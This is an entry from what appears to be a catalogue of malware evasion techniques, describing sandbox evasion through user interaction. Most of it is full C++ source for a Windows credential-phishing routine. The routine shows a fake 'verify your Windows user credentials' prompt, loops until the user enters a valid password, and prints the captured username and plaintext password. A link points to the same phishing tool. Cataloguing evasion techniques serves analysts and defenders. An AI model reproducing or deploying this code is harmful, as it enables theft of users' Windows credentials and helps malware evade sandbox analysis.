User Interaction (Are you human?)

Created the Tuesday 27 July 2021. Updated 6 months, 2 weeks ago.

You can get an advantage against sandboxes by using user interaction techniques. For example, The average user has a username and password and as long as the user you are targeting does not enter their password correctly, you can prevent your malware execution and bypass the possible sandbox control.

Technique Identifiers

U1339 E1204

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

CloseHandle

Code Snippets

#include <Windows.h>
#include <tchar.h>
#include <CommCtrl.h>
#include <wincred.h>
#include <iostream>
#include <atlstr.h>

#pragma comment(lib, "comctl32.lib")
#pragma comment(lib, "Credui.lib")

void pickl3() {

	BOOL loginStatus = FALSE;
	do {
		CREDUI_INFOW credui = {};
		credui.cbSize = sizeof(credui);
		credui.hwndParent = nullptr;
		//credui.pszMessageText = L"...";
		credui.pszCaptionText = L"Please verify your Windows user credentials to proceed.";
		credui.hbmBanner = nullptr;

		ULONG authPackage = 0;
		LPVOID outCredBuffer = nullptr;
		ULONG outCredSize = 0;
		BOOL save = false;
		DWORD err = 0;

		err = CredUIPromptForWindowsCredentialsW(&credui, err, &authPackage, nullptr, 0, &outCredBuffer, &outCredSize, &save, CREDUIWIN_ENUMERATE_CURRENT_USER);
		if (err == ERROR_SUCCESS) {
			WCHAR pszUName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];
			WCHAR pszPwd[CREDUI_MAX_PASSWORD_LENGTH * sizeof(WCHAR)];
			WCHAR domain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];
			DWORD maxLenName = CREDUI_MAX_USERNAME_LENGTH + 1;
			DWORD maxLenPassword = CREDUI_MAX_PASSWORD_LENGTH + 1;
			DWORD maxLenDomain = CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1;
			CredUnPackAuthenticationBufferW(CRED_PACK_PROTECTED_CREDENTIALS, outCredBuffer, outCredSize, pszUName, &maxLenName, domain, &maxLenDomain, pszPwd, &maxLenPassword);

			WCHAR parsedUserName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];
			WCHAR parsedDomain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];
			CredUIParseUserNameW(pszUName, parsedUserName, CREDUI_MAX_USERNAME_LENGTH + 1, parsedDomain, CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1);

			HANDLE handle = nullptr;
			loginStatus = LogonUserW(parsedUserName, parsedDomain, pszPwd, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &handle);


			if (loginStatus == TRUE) {
				CloseHandle(handle);
				std::wcout << "\n[+] Valid credential is entered as " << pszUName << ":" << pszPwd;
				break;
			}
			else {
				std::wcout << "\n[-] Invalid credential is entered as " << pszUName << ":" << pszPwd;
				loginStatus = FALSE;
			}
		}
	} while (loginStatus == FALSE);
}



int main () {
	
	pickl3();
	return 0;
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

GitHub - hlldz/pickl3: Windows active user credential phishing tool